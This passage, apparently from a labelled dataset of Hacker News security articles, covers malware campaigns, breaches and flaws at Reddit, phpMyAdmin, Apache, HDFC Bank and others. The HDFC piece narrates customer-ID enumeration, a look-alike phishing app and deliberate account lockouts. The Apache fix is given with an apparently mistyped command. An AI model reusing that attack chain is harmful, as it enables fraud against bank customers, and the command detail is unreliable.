The main reason why this particular attack is so effective is because victims are essentially receiving links to the TorRAT malware from sources they trust; accounts that they follow on Twitter. TorRAT malware involves using Man-in-the-Browser (MitB) tactics to infect computers through vulnerabilities in their Web browser. These kinds of attacks were used to take over a victim's online banking account.

They made more than 150 fraudulent transactions for victim's accounts and Police said that, because Gang was operating from the Netherlands, so tracking them become possible.

",Vulnerability
A New Spyware is Targeting Telegram and Psiphon VPN Users in Iran,https://thehackernews.com/2021/06/a-new-spyware-is-targeting-telegram-and.html,"Threat actors with suspected ties to Iran have been found to leverage instant messaging and VPN apps like Telegram and Psiphon to install a Windows remote access trojan (RAT) capable of stealing sensitive information from targets' devices since at least 2015.
Russian cybersecurity firm Kaspersky, which pieced together the activity, attributed the campaign to an advanced persistent threat (APT) group it tracks as Ferocious Kitten, a group that has singled out Persian-speaking individuals allegedly based in the country while successfully operating under the radar.
""The targeting of Psiphon and Telegram, both of which are quite popular services in Iran, underlines the fact that the payloads were developed with the purpose of targeting Iranian users in mind,"" Kaspersky's Global Research and Analysis Team (GReAT) said.
""Moreover, the decoy content displayed by the malicious files often made use of political themes and involved images or videos of resistance bases or strikes against the Iranian regime, suggesting the attack is aimed at potential supporters of such movements within the country.""
Kaspersky's findings emerge from two weaponized documents that were uploaded to VirusTotal in July 2020 and March 2021 that come embedded with macros, which, when enabled, drop next-stage payloads to deploy a new implant called MarkiRat.
The backdoor allows adversaries broad access to a victim's personal data, comprising features to record keystrokes, capture clipboard content, download and upload files, as well as the ability to execute arbitrary commands on the victim machine.
In what appears to be an attempt to expand their arsenal, the attackers also experimented with different variants of MarkiRat that were found to intercept the execution of apps like Google Chrome and Telegram to launch the malware and keep it persistently anchored to the computer at the same time also making it much harder to be detected or removed. One of the discovered artifacts also includes a backdoored version of Psiphon; an open-source VPN tool often used to evade internet censorship.
Another recent variant involves a plain downloader that retrieves an executable from a hardcoded domain, with the researchers noting that the ""use of this sample diverges from those used by the group in the past, where the payload was dropped by the malware itself, suggesting that the group might be in the process of changing some of its TTPs.""
What's more, the command-and-control infrastructure is also said to have hosted Android applications in the form of DEX and APK files, raising the possibility that the threat actor is also simultaneously developing malware aimed at mobile users.
Interestingly, the tactics adopted by the adversary overlap with other groups that operate against similar targets, such as Domestic Kitten and Rampant Kitten, with Kaspersky finding parallels in the way the actor used the same set of C2 servers over extended periods of time and attempted to gather information from KeePass password manager.
""Ferocious Kitten is an example of an actor that operates in a wider ecosystem intended to track individuals in Iran,"" the researchers concluded. ""Such threat groups do not appear to be covered that often and can therefore get away with casually reusing infrastructure and toolsets without worrying about them being taken down or flagged by security solutions.""

",Malware
"Reddit Hacked – Emails, Passwords, Private Messages Stolen",https://thehackernews.com/2018/08/hack-reddit-account.html,"Another day, another significant data breach.

This time the victim is Reddit... seems someone is really pissed off with Reddit's account ban policy or bias moderators.

Reddit social media network today announced that it suffered a security breach in June that exposed some of its users' data, including their current email addresses and an old 2007 database backup containing usernames and hashed passwords.

According to Reddit, the unknown hacker(s) managed to gain read-only access to some of its systems that contained its users' backup data, source code, internal logs, and other files.

In a post published to the platform Wednesday, Reddit Chief Technology Officer Christopher Slowe admitted that the hack was a serious one, but assured its users that the hackers did not gain access to Reddit systems.

""[The attackers] were not able to alter Reddit information, and we have taken steps since the event to further lock down and rotate all production secrets and API keys, and to enhance our logging and monitoring systems,"" Slowe wrote.

According to Slowe, the most significant data contained in the backup was account credentials (usernames and their corresponding salted and hashed passwords), email addresses and all content including private messages.

Attacker Bypassed SMS-based Two-Factor Authentication

Reddit learned about the data breach on June 19 and said that the attacker compromised a few of the Reddit employees' accounts with its cloud and source code hosting providers between June 14 and June 18.

The hack was accomplished by intercepting SMS messages that were meant to reach Reddit employees with one-time passcodes, eventually circumventing the two-factor authentication (2FA) Reddit had in place attacks.

The security breach should be a wake-up call to those who still rely on SMS-based authentication and believes it is secure. It's time for you to move on from this method and switch to other non-SMS-based two-factor authentication.

Reddit is also encouraging users to move to token-based two-factor authentication, which involves your mobile phone generating a unique one-time passcode over an app.

Reddit said that users can follow a few steps mentioned on the breach announcement page to check if their accounts were involved.

Moreover, Reddit will reset passwords for users who may have had their login credentials stolen in the breach, and also directly notify all affected users with tips on how they can protect themselves.
",Data_Breaches
Warning: Researcher Drops phpMyAdmin Zero-Day Affecting All Versions,https://thehackernews.com/2019/09/phpmyadmin-csrf-exploit.html,"A cybersecurity researcher recently published details and proof-of-concept for an unpatched zero-day vulnerability in phpMyAdmin—one of the most popular applications for managing the MySQL and MariaDB databases.

phpMyAdmin is a free and open source administration tool for MySQL and MariaDB that's widely used to manage the database for websites created with WordPress, Joomla, and many other content management platforms.

Discovered by security researcher and pentester Manuel Garcia Cardenas, the vulnerability claims to be a cross-site request forgery (CSRF) flaw, also known as XSRF, a well-known attack wherein attackers trick authenticated users into executing an unwanted action.

Identified as CVE-2019-12922, the flaw has been given a medium rating because of its limited scope that only allows an attacker to delete any server configured in the setup page of a phpMyAdmin panel on a victim's server.

To be noted, it's not something you should not be much worried about because the attack doesn't allow attackers to delete any database or table stored on the server.

All an attacker needs to do is send a crafted URL to targeted web administrators, who already have logged in to their phpmyAdmin panel on the same browser, tricking them into unknowingly delete the configured server by simply clicking on it.

""The attacker can easily create a fake hyperlink containing the request that wants to execute on behalf of the user, in this way making possible a CSRF attack due to the wrong use of HTTP method,"" Cardenas explains in a post to the Full Disclosure mailing list.

However, the vulnerability is trivial to exploit because other than knowing the URL of a targeted server, an attacker doesn't need to know any other information, like the name of the databases.

Proof of Concept Exploit Code

The flaw affects phpMyAdmin versions up to and including 4.9.0.1, which is the latest version of the software at the time of writing.

The security flaw also resides in phpMyAdmin 5.0.0-alpha1, which was released in July 2019, Cardenas told The Hacker News.

Cardenas discovered this vulnerability back in June 2019, and also responsibly reported it to the project maintainers.

However, after phpMyAdmin maintainers failed to patch the vulnerability within 90 days of being notified, the researcher decided to release the vulnerability details and PoC to the public on 13 September.

To address this vulnerability, Cardenas recommended to ""implement in each call the validation of the token variable, as already done in other phpMyAdmin requests,"" as a solution.

Until the maintainers patch the vulnerability, website administrators and hosting providers are highly recommended to avoid clicking any suspicious links.

",Vulnerability
"Beware of Fake-Antivirus ""Win 8 Security System""",https://thehackernews.com/2012/11/beware-of-fake-antivirus-win-8-security.html,"Late in August McAfee Labs discovered a Fake Antivirus program that claims to detect infections, and displays alerts to scare users into purchasing protection.

On the contrary, this program is not genuine software and has nothing to do with reliable and effective AV tools. The truth is that this is another scam application developed to enter your PC through vulnerabilities in outdated programs.

Trend Micro, which detects the threat as TROJ_FAKEAV.EHM said, ""After infecting a user's system, this malware scares its victim into buying the ""product"" by displaying fake security messages, stating that the computer is infected with spyware or other malware and only this product can remove it after you download the trial version. As soon as the victim downloads Win 8 Security System, it pretends to scan your computer and shows a grossly exaggerated amount of nonexistent threats"".

This sort of malware is commonplace, with examples existing for Windows XP, Windows Vista, Windows 7 and even Mac OS X. What's amazing is not that the hackers have decided to use the Windows 8 name, but the fact that they chose to do this before Windows 8 is even out.

Trend Micro's conclusion about this threat is that, It is typical for cybercriminals to piggyback on the highly-anticipated release of any latest technology to take their malware, spam, malicious app to new heights. To stay safe, users must keep their cool and think twice before clicking links or visiting web pages especially those that promise the latest items or programs for free. If it's too good to be true it probably is.

",Malware
Default Apache Configuration Can Unmask Tor Hidden Services,https://thehackernews.com/2016/02/apache-tor-service-unmask.html,"Attention Tor Onion Hosters!

A year old loophole in Apache Web Server, uncovered by an unknown Computer Science Student, could potentially unmask the real identity of .onion-domains and servers hidden behind the Tor-network.

Although the loophole was reported on Reddit and to the Tor Project months back, it recently came to the limelight soon after a tweet by Alec Muffet, a well-known security enthusiast and current software engineer at Facebook.

What is Tor Hidden (.onion) Service? Dark Web websites (generally known as 'onion services') with a special domain name that ends with .onion, are called Tor Hidden Service and reachable only via the Tor network.

Tor Hidden Service is a widely popular anonymity network used by Whistleblowers, Underground Markets, Defense Networks and more in order to maintain secrecy over the Internet.

An Onion Website can be hosted on the top of any web servers. But, if you are choosing Apache, then you need to rethink.

Apache Misconfiguration Exposes Tor Hidden Servers

According to the report, most distributions of Apache Server ship with mod_status module, enabled by default, which could disclose the real identity of the .onion domains, placing the Onion Servers at risk of being identified.

Apache's mod_status module helps server administrators to monitor the health of web server with an HTML interface and is accessible via a web browser on its localhost only.

The Output of this module would be available on every server when accessing the URL: https://website.com/server-status/

However, running mod_status module with Tor hidden service may result in exposing 'server-status' page to the world via Tor daemon service.

This page would spit the sensitive backend data like server's settings, uptime, resource usage, total traffic, virtual hosts, and active HTTP requests if enabled by default which is enough to figure out the Server location.
""What could a malicious actor do in that case? They could spy on potentially sensitive requests,"" reads the blog post regarding the issue. ""They could deduce the server's approximate longitude if the timezone is set. They could even determine its IP address if a clearnet Virtual Host is present.""

How to Disable mod_status on Apache

Now, if you run a .onion domain on top of any Apache Server, then make sure that the mod_status is disabled.

For this, you may need to run this code in shell command:-
sudo ap2dismod status
Where,
""ap2"" stands for Apache 2.x
""dis"" stands for disable
""mod"" stands for module
Soon after this, if you reload, then you would be prompted by a 403 or 404 Error Prompt. The Error message would ensure that you are no longer vulnerable to that Risk.

",Vulnerability
Google Kicks Out Largest Android Adware Family From The Play Store,https://thehackernews.com/2017/03/android-adware-malware-google.html,"With the rise in the mobile market, Adware has become one of the most prevalent mobile threats in the world. Adware has traditionally been used to aggressively push ads like banners or pop-ups on mobile screens to make money.

The troublesome part is that Adware is now becoming trojanized and more sophisticated, as it aggressively collects personal data from the mobile device it's installed on, including name, birth date, location, serial number, contacts, and browser data without users' consent.

However, the risk is a bit higher on Android than other platforms because of the extra permissions that apps enjoy.

Although Google has stepped up its efforts to remove potentially harmful apps from its Play Store in the past years and added more stringent malware checks for new apps, Adware app eventually finds its way into its mobile app marketplace to target millions of Android users.

In its recent efforts to make its Play Store ecosystem safe, Google has recently discovered a new massive ad-fraud family of a botnet that was infecting Android users through apps hosted on its official Play Store.

Dubbed Chamois, the family of PHAs (potentially harmful applications) was capable of bombarding users with pop-up ads, boosting app promotion by automatically installing other applications in the background, subscribing users to premium services by sending text messages and downloading additional plugins without their knowledge.

Google engineers said they caught Chamois after they discovered suspicious ad traffic while performing a routine ad traffic quality evaluation.

Despite the fact that the app uses obfuscation and anti-analysis techniques to evade detection, Google engineers eventually uncovered a massive network of developers that had tricked users into installing malicious apps on their phones.

The goal behind the malware-laced apps appears to have been ad fraud and make money by employing different techniques to bypass Google's detection and prevention systems.
""We analyzed malicious apps based on Chamois, and found that they employed several methods to avoid detection and tried to trick users into clicking ads by displaying deceptive graphics,"" security software engineers at Google said in a blog post.
""This sometimes resulted in downloading of other apps that commit SMS fraud. So we blocked the Chamois app family using Verify Apps and also kicked out bad actors who were trying to game our ad systems.""
The Chamois apps had a multi-stage payload structure, including a custom encrypted storage area for configuration files and additional code, which required deeper analysis to understand the malicious part.
According to the Google engineers, their security teams had to look through more than 100,000 lines of sophisticated code written by seemingly professional developers in an effort to figure out exactly what the Chamois-related apps were up to.

After the discovery of Chamois, Google blocked the Chamois app family using its Verify Apps and also banned some people who were trying to take advantage of its ad system to make money on the adware apps.

Google also updated its app testing system that is now capable of detecting this new Chamois-related threat.

",Malware
New Facebook Bug Exposed 6.8 Million Users Photos to Third-Party Apps,https://thehackernews.com/2018/12/facebook-api-bug-leak.html,"Facebook's latest screw-up — a programming bug in Facebook website accidentally gave 1,500 third-party apps access to the unposted Facebook photos of as many as 6.8 million users.

Facebook today quietly announced that it discovered a new API bug in its photo-sharing system that let 876 developers access users' private photos which they never shared on their timeline, including images uploaded to Marketplace or Facebook Stories.

""When someone gives permission for an app to access their photos on Facebook, we usually only grant the app access to photos people share on their timeline. In this case, the bug potentially gave developers access to other photos, such as those shared on Marketplace or Facebook Stories,"" Facebook said.

What's worse? The bug even exposed photos that people uploaded to Facebook but chose not to post or didn't finish posting it for some reason.

The flaw left users' private data exposed for 12 days, between September 13th and September 25th, until Facebook discovered and fixed the security blunder on the 25th September.

""Currently, we believe this may have affected up to 6.8 million users and up to 1,500 apps built by 876 developers. The only apps affected by this bug were ones that Facebook approved to access the photos API and that individuals had authorized to access their photos,"" Facebook said.
The social media giant has started notifying impacted users of the flaw through an alert on their Facebook timeline that their photos may have been exposed, which will direct them to its Help Center page with more information.

Facebook also says the social media network will soon be rolling out ""tools for app developers that will allow them to determine which people using their app might be impacted by this bug.""

Facebook also assures its users that the company will be working with app developers to delete copies of photos that they were not supposed to access.

2018 has been quite a terrible year for Facebook with the social media giant found dealing with a slew of security incidents this year—the most significant one being the Cambridge Analytic scandal that exposed personal data of 87 million Facebook users.

The social network also suffered its worst-ever security breach in September this year that exposed highly sensitive data of 14 million users.

In the same month, Facebook also addressed a similar severe API bug that was actively being exploited by unknown hackers to steal secret access tokens and gather personal information for 30 million Facebook users.

In June, Facebook also suffered another security issue affecting 14 million users, wherein users' posts that were meant to be private became public.

These security incidents came out to be a failure of the social media giant in keeping the personal information of its 2.2 billion users protected while generating billions of dollars in revenue from the same information.
",Data_Breaches
Israel Neutralizes Cyber Attack by Blowing Up A Building With Hackers,https://thehackernews.com/2019/05/israel-hamas-hacker-airstrikes.html,"The Israel Defense Force (IDF) claims to have neutralized an ""attempted"" cyber attack by launching airstrikes on a building in Gaza Strip from where it says the attack was originated.

As shown in a video tweeted by IDF, the building in the Gaza Strip, which Israeli fighter drones have now destroyed, was reportedly the headquarters for Palestinian Hamas military intelligence, from where a cyber unit of hackers was allegedly trying to penetrate Israel's cyberspace.

""We thwarted an attempted Hamas cyber offensive against Israeli targets. Following our successful cyber defensive operation, we targeted a building where the Hamas cyber operatives work. HamasCyberHQ.exe has been removed,"" said the Israeli Defence Forces on Twitter.

However, the Israel Defense Force has not shared any information about the attempted cyber attack by the Hamas group, saying it would reveal the country's cyber capabilities.

According to Judah Ari Gross of Times of Israel, the commander of the IDF's Cyber Division said, ""We were a step ahead of them the whole time,"" and ""this was one of the first times where Israeli soldiers had to fend off a cyber attack while also fighting a physical battle.""

However, it's not the first time when a country retaliates to a cyberattack with a physical attack. In 2015-16, the U.S. military reportedly killed two ISIS hackers—Siful Haque Sujan and Junaid Hussain of Team Poison hacking group—using drone strikes in Syria.

The commander did not reveal the name of the target, but did say that the cyber attack by Hamas was aimed at ""harming the way of life of Israeli citizens.""
The tension between Israel and Hamas has increased over the last year, with the latest conflict began on Friday after Hamas militants launched at least 600 rockets and mortars at Israel and shot two Israeli soldiers.

In retaliation to the violence by Hamas, the Israel military has carried out their own strikes on what it claimed were hundreds of Hamas and Islamic Jihad targets in the coastal enclave.

So far, at least 27 Palestinians and 4 Israeli civilians have been killed, and over 100 of them have been injured.

The IDF said its airstrike targeted and killed Hamed Ahmed Abed Khudri, who the Israel military reportedly accused of funding the Hamas rocket fire attacks by transferring money from Iran to armed factions in Gaza.

""Transferring Iranian money to Hamas and the PIJ [Palestinian Islamic Jihad] doesn't make you a businessman. It makes you a terrorist,"" IDF wrote in a tweet that included an image of a Toyota car in flames.

In a new development, Israel has stopped its air strikes on the Palestinian territory and lifted all protective restrictions imposed near the Gaza area, after Palestinian officials offered a conditional ceasefire agreement with Israel to end the violence.
",Cyber_Attack
"U.S. Charges Three Chinese Hackers for Hacking Siemens, Trimble & Moody",https://thehackernews.com/2017/11/chinese-hackers-charged.html,"The United States Justice Department has charged three Chinese nationals for allegedly hacking Moody's Analytics economist, German electronics manufacturer Siemens, and GPS maker Trimble, and stealing gigabytes of sensitive data and trade secrets.

According to an indictment unsealed Monday in federal court in Pittsburgh, Pennsylvania, the three men worked for a Chinese cybersecurity company, Guangzhou Bo Yu Information Technology Company Limited (Boyusec), previously linked to China's Ministry of State Security.

Earlier this year, security researchers also linked Boyusec to one of the active Chinese government-sponsored espionage groups, called Advanced Persistent Threat 3 (or APT3), which is also known as Gothic Panda, UPS Team, Buckeye, and TG-0110.

In 2013, APT3 allegedly stole the blueprints for ASIO's new Canberra building using a piece of malware that was uploaded to an ASIO employee's laptop.

According to the indictment, the three Chinese nationals—identified as Wu Yingzhuo, Dong Hao, and Xia Lei—launched ""coordinated and unauthorized"" cyber attacks between 2011 and 2017, and successfully steal information from a number of organizations by compromising their accounts.

The trio of hackers has alleged to have attacked Moody's Analytics, Siemens, and Trimble by sending spear-phishing emails with malicious attachments or links to malware.

The men also used customized tools collectively known as the 'ups' or 'exeproxy' malware to gain unauthorized, persistent access to the targeted companies' networks, allowing them to search for and steal confidential business information and user credentials.
""The primary goal of the co-conspirators' unauthorized access to victim computers was to search for, identify, copy, package, and steal data from those computers, including confidential business and commercial information, work product, and sensitive victim employee information, such as usernames and passwords that could be used to extend unauthorized access within the victim systems,"" the DOJ said.

The most affected one of the three companies was IT giant Siemens. According to the indictment, the defendants:

Stole approximately 407 gigabytes of data from Siemens' energy, technology and transportation businesses in 2014.
Hacked into Trimble's network and stole at least 275 megabytes of data, including trade secrets related to global navigation satellite systems technology the company spent millions of dollars developing, in 2015 and 2016.
Accessed an internal email server at Moody's in 2011 and forwarded the account of an unidentified ""prominent employee"" to their own accounts, and eventually accessing the confidential messages sent to that account until 2014.

According to the DoJ, both Wu and Dong were co-founders and shareholders of Boyusec, while Lei was an employee. All the three defendants were residents of Guangzhou.

The Chinese men have been charged with a total of eight counts, including one charge of committing computer fraud and abuse, two charges of committing trade secret theft, three counts of wire fraud and four to eight counts of aggravated identity theft.

If found guilty in the court of law, the hackers face a maximum sentence of 42 years in prison.

",Cyber_Attack
Twitter Takes Tweetdeck Offline due to Vulnerability,https://thehackernews.com/2012/03/twitter-takes-tweetdeck-offline-due-to_31.html,"Twitter Takes Tweetdeck Offline due to Vulnerability

Twitter has taken its Tweetdeck app offline after an apparent bug has possibly given some Tweetdeck users access to others' accounts. The web version of Tweetdeck is currently down, although older desktop editions of the software appear to continue to receive and send Tweets at the moment, and can still log out and back in.

A Sydney, Australia-based Tweetdeck user named Geoff Evason says he discovered today he was somehow able to access hundreds of other accounts through Tweetdeck. ""I'm a tweetdeck user. A bug has given me access to hundreds of twitter and facebooks account through tweetdeck. I didn't do anything special to make this happen. I just logged in one day, the account was was slower than normal, and I could post from many more accounts.""

And demonstrated that he could access another account by sending Tweet. Other accounts may well be affected, as Twitter quickly shut off access to Tweetdeck entirely to ""look into an issue. They've offered us no comment other than their Tweet.

",Vulnerability
Facebook Sues Israeli NSO Spyware Firm For Hacking WhatsApp Users,https://thehackernews.com/2019/10/whatsapp-nso-group-malware.html,"Finally, for the very first time, an encrypted messaging service provider is taking legal action against a private entity that has carried out malicious attacks against its users.

Facebook filed a lawsuit against Israeli mobile surveillance firm NSO Group on Tuesday, alleging that the company was actively involved in hacking users of its end-to-end encrypted WhatsApp messaging service.

Earlier this year, it was discovered that WhatsApp had a critical vulnerability that attackers were found exploiting in the wild to remotely install Pegasus spyware on targeted Android and iOS devices.

The flaw (CVE-2019-3568) successfully allowed attackers to silently install the spyware app on targeted phones by merely placing a WhatsApp video call with specially crafted requests, even when the call was not answered.

Developed by NSO Group, Pegasus allows access to an incredible amount of data from victims' smartphones remotely, including their text messages, emails, WhatsApp chats, contact details, calls records, location, microphone, and camera.

Pegasus is NSO's signature product that has previously been used against several human rights activists and journalists, from Mexico to the United Arab Emirates two years ago, and Amnesty International staffers in Saudi Arabia and another Saudi human rights defender based abroad earlier last year.

Though NSO Group always claims it legally sells its spyware only to governments with no direct involvement, WhatsApp head Will Cathcart says the company has evidence of NSO Group's direct involvement in the recent attacks against WhatsApp users.

NSO Group Violated WhatsApp's Terms of Service

In a lawsuit filed (PDF) in U.S. District Court in San Francisco today, Facebook said NSO Group had violated WhatsApp's terms of services by using its servers to spread the spyware to approximately 1,400 mobile devices during an attack in April and May this year.

The company also believes that the attack targeted ""at least 100 members of civil society, which is an unmistakable pattern of abuse,"" though it says this number may grow higher as more victims come forward.

""This attack was developed to access messages after they were decrypted on an infected device, abusing in-app vulnerabilities and the operating systems that power our mobile phones,"" Facebook-owned WhatsApp said in a blog post.

""Defendants (attackers) created WhatsApp accounts that they used and caused to be used to send malicious code to Target Devices in April and May 2019. The accounts were created using telephone numbers registered in different counties, including Cyprus, Israel, Brazil, Indonesia, Sweden, and the Netherlands.""

The targeted users include attorneys, journalists, human rights activists, political dissidents, diplomats, and other senior foreign government officials, with WhatsApp numbers from different country codes, including the Kingdom of Bahrain, the United Arab Emirates, and Mexico.

WhatsApp said the company sent a warning note to all the affected 1,400 users impacted by this attack, directly informing them about what happened.

Facebook has also named NSO Group's parent company 'Q Cyber Technologies' as a second defendant in the case.

""The complaint alleges they violated both U.S. and California laws as well as the WhatsApp Terms of Service, which prohibits this type of abuse,"" the lawsuit states.

Now, the company has sued NSO Group under the United States state and federal laws, including the Computer Fraud and Abuse Act, as well as the California Comprehensive Computer Data Access and Fraud Act.

",Cyber_Attack
"Beware Of Fake 'HeartBleed Bug Remover Tool', Hijacks System with Malware",https://thehackernews.com/2014/05/beware-of-fake-heartbleed-bug-remover.html,"I am considering that you all must have read my last article on OpenSSL Heartbleed, a critical bug in the OpenSSL's implementation of the TLS/DTLS heartbeat extension that allows attackers to read portions of the affected server's memory, potentially revealing users data, that the server did not intend to reveal.

The Heartbleed vulnerability made headlines around the world and my last article explains everything about probably the biggest Internet vulnerability in recent history, but still some readers are not aware of its nature, otherwise they would not have been a victim of the spam campaigns.

Spammers are very smart on gaining from every opportunity they get, so this time they are taking advantage of the infamous Heartbleed bug and frighten the users into installing Anti-Heartbleed Software onto their systems, which is obviously a malware.

The researchers at Symantec have unearthed a spam campaign targeting people by sending spam emails that warns them their system may still be ""infected"" with the Heartbleed bug and request them to run the Heartbleed bug removal tool (attached to the email, as shown below) in order to remove the virus from their system.

The people with a little knowledge of the OpenSSL Heartbleed Bug may follow what the spammers say, despite websites around the world flooded with the Heartbleed articles, explaining how it works, how to protect, and exactly what it is. Yet many didn't get it right.

We too explained almost everything related to the nature of the bug and the foremost myth of the people about the bug is answered in our top question that explained Heartbleed is not a Virus or Malware, instead it's a vulnerability resided in TLS heartbeat mechanism built into certain versions of the popular open source encryption standard OpenSSL. So, how could you go with the spammers in cleaning up your system to protect your systems from Heartbleed infection or malware?

Now, this is something which is unacceptable and allows cybercriminals to targets users with less technical knowledge to know that the Heartbleed vulnerability is not at all an infection or a malware.
""The spam email uses the social and scare tactics to lure users into opening the attached file,"" reads the blog post.
The email tricks users by masquerading itself to come from a very popular password management company, with the details to run the attached removal tool, along with the measures if users' antivirus software blocks it.

Users feel safe to open the attachment as the attached file seems to be a docx file, but once it is opened, it will serve an encrypted zip file to the user. When the user extracts the zip file content, they will find a malicious .exe file that represents itself as the Heartbleed bug removal tool.

Once the .exe file is executed by the user, it downloads a keylogger in the background without their knowledge, whereas the user shows a popup on the screen with a progress bar. After a while, a message flash on the screen reporting users that Heartbleed bug was not found and the computer is clean.

The user may feel relieved after knowing that the Heartbleed bug has not affected them, but during the same time they are unaware of the key-logger software installed in background and recording keystrokes, screenshots and sending all the personal information of users to the cyber criminals.

Users are recommended not to click on any link in the suspicious messages and better use your common sense and knowledge at right time and right place, because security researchers, experts and we sitting here can only provide you knowledge about the various vulnerabilities and measures to get rid of it, but else is up to you to protect yourself from these kind of security threats.

",Malware
HDFC Bank website vulnerable to ID Theft and Account Blockade,https://thehackernews.com/2013/03/hdfc-bank-website-vulnerable-to-id.html,"Indian Security Researcher Jiten Jain from Xebia Architects today revealed that one of the Largest Private Banks in India, HDFC Bank's e-Banking website could be easy target of Unique type of Denial of Service Attack which could result in blocking of e-banking accounts of all its customers. Here is the detailed report of vulnerability submitted by him.

___________________________________________
The NetBanking service of HDFC Bank, Which is one of the largest and most reputed Banks in India, is completely vulnerable to ID theft, Targeted phishing and Mass Account Blockade. HDFC bank has implemented an extra security solution called 'Secure Access' on its website but instead it has given a hidden door to hackers to block all HDFC NetBanking accounts. 'Secure Access' is an additional layer of security implement on HDFC Bank website is essentially a solution protecting your account from hackers and fraudsters. Secure Access, an online security initiative is intended to make NetBanking transactions safer by protecting users from phishing websites and Hackers and help users authenticate original HDFC website. HDFC Bank's NetBanking login is now a two-step process with Secure Access image and text verification. Let us take you through the steps involved in Secure Access and how it intends to protect NetBanking account of HDFC customers.

Let us take you through the steps involved in Secure Access and how it intends to protect NetBanking account of HDFC customers.


1) In First Step User has to provide his customer-id (User Id) on the first screen


2) User is then taken to the next screen where he is shown his personalized picture and message and asked to enter his IPIN (password).

Demo presentation of secure access work can be seen on HDFC website at following URL https://www.hdfcbank.com/assets/demo/secure_access.swf Secure Access which is claimed to be Multi-layered Authentication Process mandatory requires HDFC NetBanking users to register for it if they want to conduct ANY Third Party Transactions like Transferring Money, booking movie tickers, recharging phone.

During the research on HDFC Mobile Banking application and NetBanking Portal it was discovered that while implementing Secure Access HDFC Bank has compromised on the first and foremost principle of user authentication on any Banking website i.e. Never reveal whether its User Name or the password which is incorrect in case wrong combination is entered.

Since Secure access implementation requires user to only enter his Customer ID (The fixed user name in case of HDFC bank NetBanking users. The system then checks at the backend if the user is registered for Secure Access or NetBanking, if user is not a registered or valid user, Customer id is asked again. But in case if the customer id is found to be correct and registered, User is taken to second step and shown his secure access image and text he selected and asked to enter is password.

1.) 1 Now this 1st step of verifying customer id and showing personalized secure access image and text has made HDFC Bank vulnerable to Blind customer id collection. We exploited this vulnerability by running an automated suite with by generating random customer ids in a sequence (example from 434XXXX to 515XXXXXX) and logged on HDFC NetBanking website using them. The customer ids which showed secure access and image and text were noted and rest was discarded. The secure Access images and text which was shown for valid customer ids were also saved. Now by the process above we were able to achieve 3 things. It was shocking to see that secure text was displayed as simple text and not a text image.

By this automated first step of Login, we were able to create a Database of several customer Ids of HDFC NetBanking users. We could have made a complete database of every NetBanking users but since this trial was conducted with a motive of checking security on banking site, only a sample data was collected. We decided to destroy this data later after completing this Demonstration.

HDFC Phishing Mobile App using our database of secure Access images and Text
Customer Id, Personalized Image and Text of Customer in above Screenshots has been hidden for security

2) We then setup a phishing portal for HDFC Net banking and created a fake HDFC NetBanking Mobile app and tried it on some people. In our fake HDFC mobile application and phishing portal we were able to replicate exactly same Secure Access behavior like on original HDFC website using the database of Customer IDs of NetBanking users and their secure Access image and text we had created earlier. Since our site was showing the same secure Access images and text on entering customer ids we used their security feature to provide more authentic look to our phishing website and Mobile application. The Situation was worse for fake mobile app since Mobile users could not even see the URL, setting aside any chance of doubt in mind of user. Several users trusted our phishing site and mobile app and tried to log in with their passwords.

3) Now in a third Killing step we launched denial of service attack on website the by blocking some user accounts. Since Secure Access authentication vulnerability has helped us create the database of customer ids of HDFC NetBanking users we launched another program which simple went on HDFC NetBanking website and provided customer id from our database on HDFC NetBanking login page.

As we were providing valid Customer Id's, when asked for IPIN/Password we entered it incorrectly 5 times which resulted in those customers being blocked from NetBanking. We used chain proxy to bypass time and Sequence checks but were surprised to find out that HDFC site had NONE and we were able to easily block several user accounts.
Since we were guided by ideology of ethical hacking we conducted above research on a sample data But This flaw in authentication can be easily used by anyone to generate a Database of Customer Ids of HDFC NetBanking Users and completely Block all NetBanking accounts of all HDFC NetBanking users. The same may be the used by the miscreants or competitors of HDFC bank to hold literally entire NetBanking service of HDFC bank for ransom by repeatedly blocking accounts even if they are enabled again. This vulnerability also raises a big question, Are We forgetting basic principles of Security in race of trying security solution?
x--x--x
While Speaking to ""The Hacker News"" ,Mr. Jiten disclosed that had shared the above vulnerability report with the HDFC Bank in February itself to provide them ample time to fix the above vulnerability. The report about lacking security on HDFC online banking website is another blow to HDFC Bank which is already facing flak for its shady deals and is currently under a Black Money investigation by Indian Government.

",Vulnerability
'Pinkie Pie' discovered second Chrome exploit worth $60k at Pwnium 2,https://thehackernews.com/2012/10/pinkie-pie-discovered-second-chrome.html,"Hacker known as ""Pinkie Pie"" produced the first Chrome vulnerability at the Hack In the Box conference on Wednesday, just ahead of the deadline for the competition this afternoon.

The exploit, if later confirmed by Google's US headquarters, will have earned the teenage hacker known as Pinkie Pie the top US$60,000 cash reward.

In March, Pinkie Pie and Sergey Glazunov both won $60,000 for their exploits at the first Pwnium competition. Google established the Pwnium competition as an alternative to the Pwn2own contest in order to add the requirement that participants provide details of their exploit.

Google will give away up to a total of US$2 million during the event.
$60,000 - ""Full Chrome exploit"": Chrome / Win7 local OS user account persistence using only bugs in Chrome itself.
$40,000 - ""Partial Chrome exploit"": Chrome / Win7 local OS user account persistence using at least one bug in Chrome itself, plus other bugs. For example, a WebKit bug combined with a Windows sandbox bug.
$20,000 - ""Consolation reward, Flash / Windows / other"": Chrome / Win7 local OS user account persistence that does not use bugs in Chrome. For example, bugs in one or more of Flash, Windows or a driver. These exploits are not specific to Chrome and will be a threat to users of any web browser.

",Vulnerability
"Idea Cellular Web Portal Hacked, Customers Info may be exposed !",https://thehackernews.com/2011/08/idea-cellular-web-portal-hacked.html,"Idea Cellular Web Portal Hacked, Customers Info may be exposed !
Again a critical SQL Injection Vulnerability has been discovered by zSecure Team in a high profile web portal. This time it's Ideacellular web portal which compromises the entire site database. Any malicious smart black hats can create much more devastating attacks using this critical flaw such as: complete access to various database's as shown in screen-shots under proof of vulnerability which can later be misused to access various confidential information; complete database dump; possibility of uploading shell (not fully certain) and much more.

Target Website: https://www.ideacellular.com
Attack Type: Hidden SQL Injection Vulnerability
Database Type: MySql 5.0.27
Alert Level: Critical
Threats: Database Access, Database Dump
Credit: zSecure Team
Previous Vulnerability Discolsures: Dukascopy, Sify, TimesofMoney, Sharekhan

Proof of Vulnerability:





About the Company
